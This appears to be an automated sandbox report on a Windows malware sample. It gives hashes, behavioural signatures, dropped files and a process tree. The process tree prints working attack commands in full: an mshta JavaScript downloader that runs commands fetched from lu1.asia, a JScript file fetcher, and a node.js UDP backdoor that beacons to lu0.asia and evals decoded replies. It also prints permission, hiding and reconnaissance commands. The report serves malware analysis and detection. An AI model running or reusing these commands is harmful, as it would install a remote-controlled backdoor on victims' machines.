Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
28-06-2021 08:24
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210628-082923.exe
Resource
win7v20210410
General
-
Target
usfive_20210628-082923.exe
-
Size
2KB
-
MD5
c795c8a54b85afb25448b4a44cd0b3d1
-
SHA1
186c7780c92280c257e1caabc01c51194e1cdf22
-
SHA256
b93b8b99bdc14cb119ca0a51fe57c2da5aaa45d52a3f7121d31d675e4f900400
-
SHA512
38adf22ed46655024f96e6a0d1e5f4556bc9804f5b189b42d9d7d85ca72889ce6cbdfa9663cb442cfbe92d338f0494b4349c554ffbeb11d61b24a7bf504e72c4
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 2 1472 mshta.exe 3 1740 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 924 node.exe -
Loads dropped DLL 1 IoCs
Processes:
cscript.exepid process 572 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
netstat.exeipconfig.exepid process 1336 netstat.exe 296 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\1040825e7fa7d17e:ads node.exe File created C:\ProgramData\DNTException\node.exe:19f0f9a05b8019093bb17a43158071cb node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
node.exepid process 924 node.exe 924 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 1764 tasklist.exe Token: SeIncreaseQuotaPrivilege 1784 wmic.exe Token: SeSecurityPrivilege 1784 wmic.exe Token: SeTakeOwnershipPrivilege 1784 wmic.exe Token: SeLoadDriverPrivilege 1784 wmic.exe Token: SeSystemProfilePrivilege 1784 wmic.exe Token: SeSystemtimePrivilege 1784 wmic.exe Token: SeProfSingleProcessPrivilege 1784 wmic.exe Token: SeIncBasePriorityPrivilege 1784 wmic.exe Token: SeCreatePagefilePrivilege 1784 wmic.exe Token: SeBackupPrivilege 1784 wmic.exe Token: SeRestorePrivilege 1784 wmic.exe Token: SeShutdownPrivilege 1784 wmic.exe Token: SeDebugPrivilege 1784 wmic.exe Token: SeSystemEnvironmentPrivilege 1784 wmic.exe Token: SeRemoteShutdownPrivilege 1784 wmic.exe Token: SeUndockPrivilege 1784 wmic.exe Token: SeManageVolumePrivilege 1784 wmic.exe Token: 33 1784 wmic.exe Token: 34 1784 wmic.exe Token: 35 1784 wmic.exe Token: SeIncreaseQuotaPrivilege 1784 wmic.exe Token: SeSecurityPrivilege 1784 wmic.exe Token: SeTakeOwnershipPrivilege 1784 wmic.exe Token: SeLoadDriverPrivilege 1784 wmic.exe Token: SeSystemProfilePrivilege 1784 wmic.exe Token: SeSystemtimePrivilege 1784 wmic.exe Token: SeProfSingleProcessPrivilege 1784 wmic.exe Token: SeIncBasePriorityPrivilege 1784 wmic.exe Token: SeCreatePagefilePrivilege 1784 wmic.exe Token: SeBackupPrivilege 1784 wmic.exe Token: SeRestorePrivilege 1784 wmic.exe Token: SeShutdownPrivilege 1784 wmic.exe Token: SeDebugPrivilege 1784 wmic.exe Token: SeSystemEnvironmentPrivilege 1784 wmic.exe Token: SeRemoteShutdownPrivilege 1784 wmic.exe Token: SeUndockPrivilege 1784 wmic.exe Token: SeManageVolumePrivilege 1784 wmic.exe Token: 33 1784 wmic.exe Token: 34 1784 wmic.exe Token: 35 1784 wmic.exe Token: SeDebugPrivilege 1336 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
usfive_20210628-082923.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe mshta.exe PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe mshta.exe PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe mshta.exe PID 2004 wrote to memory of 1472 2004 usfive_20210628-082923.exe mshta.exe PID 1472 wrote to memory of 1600 1472 mshta.exe cmd.exe PID 1472 wrote to memory of 1600 1472 mshta.exe cmd.exe PID 1472 wrote to memory of 1600 1472 mshta.exe cmd.exe PID 1472 wrote to memory of 1600 1472 mshta.exe cmd.exe PID 1600 wrote to memory of 1740 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 1740 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 1740 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 1740 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 268 1600 cmd.exe expand.exe PID 1600 wrote to memory of 268 1600 cmd.exe expand.exe PID 1600 wrote to memory of 268 1600 cmd.exe expand.exe PID 1600 wrote to memory of 268 1600 cmd.exe expand.exe PID 1600 wrote to memory of 572 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 572 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 572 1600 cmd.exe cscript.exe PID 1600 wrote to memory of 572 1600 cmd.exe cscript.exe PID 572 wrote to memory of 924 572 cscript.exe node.exe PID 572 wrote to memory of 924 572 cscript.exe node.exe PID 572 wrote to memory of 924 572 cscript.exe node.exe PID 572 wrote to memory of 924 572 cscript.exe node.exe PID 924 wrote to memory of 1832 924 node.exe cmd.exe PID 924 wrote to memory of 1832 924 node.exe cmd.exe PID 924 wrote to memory of 1832 924 node.exe cmd.exe PID 924 wrote to memory of 1832 924 node.exe cmd.exe PID 924 wrote to memory of 2040 924 node.exe cacls.exe PID 924 wrote to memory of 2040 924 node.exe cacls.exe PID 924 wrote to memory of 2040 924 node.exe cacls.exe PID 924 wrote to memory of 2040 924 node.exe cacls.exe PID 924 wrote to memory of 1528 924 node.exe icacls.exe PID 924 wrote to memory of 1528 924 node.exe icacls.exe PID 924 wrote to memory of 1528 924 node.exe icacls.exe PID 924 wrote to memory of 1528 924 node.exe icacls.exe PID 924 wrote to memory of 1716 924 node.exe attrib.exe PID 924 wrote to memory of 1716 924 node.exe attrib.exe PID 924 wrote to memory of 1716 924 node.exe attrib.exe PID 924 wrote to memory of 1716 924 node.exe attrib.exe PID 924 wrote to memory of 1800 924 node.exe attrib.exe PID 924 wrote to memory of 1800 924 node.exe attrib.exe PID 924 wrote to memory of 1800 924 node.exe attrib.exe PID 924 wrote to memory of 1800 924 node.exe attrib.exe PID 924 wrote to memory of 1764 924 node.exe tasklist.exe PID 924 wrote to memory of 1764 924 node.exe tasklist.exe PID 924 wrote to memory of 1764 924 node.exe tasklist.exe PID 924 wrote to memory of 1764 924 node.exe tasklist.exe PID 924 wrote to memory of 1784 924 node.exe wmic.exe PID 924 wrote to memory of 1784 924 node.exe wmic.exe PID 924 wrote to memory of 1784 924 node.exe wmic.exe PID 924 wrote to memory of 1784 924 node.exe wmic.exe PID 924 wrote to memory of 296 924 node.exe ipconfig.exe PID 924 wrote to memory of 296 924 node.exe ipconfig.exe PID 924 wrote to memory of 296 924 node.exe ipconfig.exe PID 924 wrote to memory of 296 924 node.exe ipconfig.exe PID 924 wrote to memory of 1048 924 node.exe route.exe PID 924 wrote to memory of 1048 924 node.exe route.exe PID 924 wrote to memory of 1048 924 node.exe route.exe PID 924 wrote to memory of 1048 924 node.exe route.exe PID 924 wrote to memory of 1336 924 node.exe netstat.exe PID 924 wrote to memory of 1336 924 node.exe netstat.exe PID 924 wrote to memory of 1336 924 node.exe netstat.exe PID 924 wrote to memory of 1336 924 node.exe netstat.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 1716 attrib.exe 1800 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\usfive_20210628-082923.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210628-082923.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();8;y=unescape('%320%33%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%309').split('~');5;try{x='WinHttp';209;x=new ActiveXObject(x+'.'+x+'Request.5.1');192;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);133;x.send();151;y='ipt.S';71;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);65;}catch(e){};204;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624868730445.txt & cscript /nologo /e:jscript get1624868730445.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23d9e9ab0%26b%3Dbe63bdbd" node.cab & expand node.cab node.exe & del get1624868730445.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624868730445.txt & cscript /nologo /e:jscript get1624868730445.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273d9e9ab0%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624868730445.txt3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624868730445.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23d9e9ab0%26b%3Dbe63bdbd" node.cab4⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624868730445.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273d9e9ab0%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273d9e9ab0%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
-
C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
-
C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
-
C:\Windows\SysWOW64\route.exeroute.exe print6⤵
-
C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\DNTException\get1624868730445.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
-
C:\ProgramData\DNTException\get1624868730445.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
-
C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
memory/268-65-0x0000000000000000-mapping.dmp
-
memory/296-87-0x0000000000000000-mapping.dmp
-
memory/572-67-0x0000000000000000-mapping.dmp
-
memory/924-75-0x000000000D000000-0x000000000D001000-memory.dmpFilesize
4KB
-
memory/924-72-0x0000000000000000-mapping.dmp
-
memory/924-74-0x0000000026E00000-0x0000000026E01000-memory.dmpFilesize
4KB
-
memory/924-79-0x000000003C200000-0x000000003C201000-memory.dmpFilesize
4KB
-
memory/924-78-0x0000000036100000-0x0000000036101000-memory.dmpFilesize
4KB
-
memory/924-77-0x000000000D200000-0x000000000D201000-memory.dmpFilesize
4KB
-
memory/924-76-0x0000000006500000-0x0000000006501000-memory.dmpFilesize
4KB
-
memory/1048-89-0x0000000000000000-mapping.dmp
-
memory/1336-90-0x0000000000000000-mapping.dmp
-
memory/1468-91-0x0000000000000000-mapping.dmp
-
memory/1472-60-0x0000000000000000-mapping.dmp
-
memory/1528-82-0x0000000000000000-mapping.dmp
-
memory/1600-61-0x0000000000000000-mapping.dmp
-
memory/1716-83-0x0000000000000000-mapping.dmp
-
memory/1740-62-0x0000000000000000-mapping.dmp
-
memory/1740-64-0x00000000765F1000-0x00000000765F3000-memory.dmpFilesize
8KB
-
memory/1764-85-0x0000000000000000-mapping.dmp
-
memory/1784-86-0x0000000000000000-mapping.dmp
-
memory/1800-84-0x0000000000000000-mapping.dmp
-
memory/1832-80-0x0000000000000000-mapping.dmp
-
memory/2040-81-0x0000000000000000-mapping.dmp